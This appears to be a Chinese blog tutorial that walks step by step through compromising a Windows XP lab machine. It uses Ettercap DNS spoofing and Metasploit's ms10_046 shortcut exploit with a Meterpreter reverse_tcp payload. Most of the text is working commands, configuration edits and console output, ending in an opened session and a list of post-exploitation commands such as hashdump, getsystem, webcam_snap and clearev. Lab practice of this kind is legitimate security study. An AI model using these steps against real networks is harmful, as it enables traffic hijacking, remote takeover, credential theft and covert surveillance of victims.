G2EX

Metasploit Framework 快捷方式漏洞利用示例

一、说明

本文简单记录Kali Linux中使用Metasploit Framework入侵Windows XP的过程,利用的是古老的ms10_046快捷方式漏洞。

渗透测试平台Kali与靶机XP的IP地址分别如下:

系统 IP地址
Kali Linux 1.1.0a 10.10.10.128
Windows XP SP3 10.10.10.129

二、配置Ettercap

这里用到了Ettercap的DNS欺骗功能。

1) 配置etter.conf

使用locate命令找到etter.conf

1
2
root@kali:~# locate etter.conf
/etc/ettercap/etter.conf

vim编辑etter.conf,把以下两项的数值改为非默认值:

1
2
3
[privs]
ec_uid = 65534 # nobody is the default
ec_gid = 65534 # nobody is the default

启用iptables:
iptables是一个配置Linux内核防火墙的命令行工具,它可以检测、修改、转发、重定向和丢弃 IPv4 数据包。
etter.conf中找到# if you use iptables:,删除接下来的两行redir_command_on = …redir_command_off = …前面的#

1
2
3
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

2) 配置etter.dns

使用locate命令找到etter.dns

1
2
root@kali:~# locate etter.dns
/etc/ettercap/etter.dns

编辑etter.dns,在最后添加:

1
2
3
*.com A 10.10.10.128
*.cn A 10.10.10.128
*.net A 10.10.10.128

其中*.com/cn/net是要欺骗的域名。

3) 启动Ettercap,开启局域网的DNS欺骗

1
root@kali:~# ettercap -T -q -i eth0 -P dns_spoof // //

这样,当靶机访问*.com/cn/net网站的时候,都会重定向到Kali Linxu。

例如,当在WinXP中访问www.baidu.com,Kali的Terminal中会显示:

1
dns_spoof: [www.baidu.com] spoofed to [10.10.10.128]

如果启动ettercap时提示Incorrect number of token (///) in TARGET !!,试着把参数//替换为///。这是因为IPv6需要在目标字段中额外添加一个/

三、MSF的使用

另外打开一个Terminal,使用msfconsole命令启动MSF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 利用ms10_046漏洞
msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
# 使用show option命令查看需要设置的字段,这里设置SRVHOST为本机IP地址
msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST 10.10.10.128
SRVHOST => 10.10.10.128
# 设置PAYLOAD为reverse_tcp
msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
# 使用show option命令查看需要设置的字段,这里设置LHOST为本机IP地址
msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 10.10.10.128
LHOST => 10.10.10.128
# 使用exploit命令开始执行!
msf exploit(ms10_046_shortcut_icon_dllloader) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.128:4444
[*] Send vulnerable clients to \\10.10.10.128\fJeXlyh\.
[*] Or, get clients to save and render the icon of http://<your host>/<anything>.lnk
[*] Using URL: http://10.10.10.128:80/
[*] Server started.
msf exploit(ms10_046_shortcut_icon_dllloader) >

使用exploit启动漏洞利用程序后,可以看到Using URL: http://10.10.10.128:80/一行,意思是有漏洞的靶机访问http://10.10.10.128/时就会中招。前面之所以使用Ettercap,因为它可以把网段中所有访问*.com/cn/net的网址都重定向到10.10.10.128

以上MSF的攻击步骤看似命令繁琐,其实只用到了以下命令:

1
2
3
4
5
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
set SRVHOST 本机IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 本机IP
exploit

在靶机XP中打开浏览器输入网址,在Kali的Terminal中就可以看到入侵成功,建立会话连接了:

1
[*] Meterpreter session 1 opened (10.10.10.128:4444 -> 10.10.10.129:1054) at 2015-05-15 10:54:09 +0800

最后,鱼已上钩,关闭Ettercap。

在MSF中使用sessions命令查看已经建立的连接,使用sessions -i 会话号进入会话。background cat cdpwd clearev downloadupload edit execute getpid getsystem getuid hashdump idletime ipconfig lpwd lcd ls migrate ps resource search shell sysinfo screenshot webcam_list webcam_snap 这些命令就可以派上用场了。Meterpreter命令的使用请参考 https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/